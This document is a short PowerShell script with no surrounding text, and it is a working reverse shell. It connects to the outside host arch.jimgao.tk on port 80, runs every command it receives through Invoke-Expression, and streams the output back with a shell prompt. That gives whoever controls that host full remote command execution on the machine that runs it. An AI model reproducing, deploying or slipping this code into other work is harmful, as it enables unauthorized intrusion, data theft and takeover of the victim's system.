$client = New-Object System.Net.Sockets.TCPClient('arch.jimgao.tk',80);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
	$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
	$sendback = (iex $data 2>&1 | Out-String );
	$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
	$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
	$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
};
$client.Close()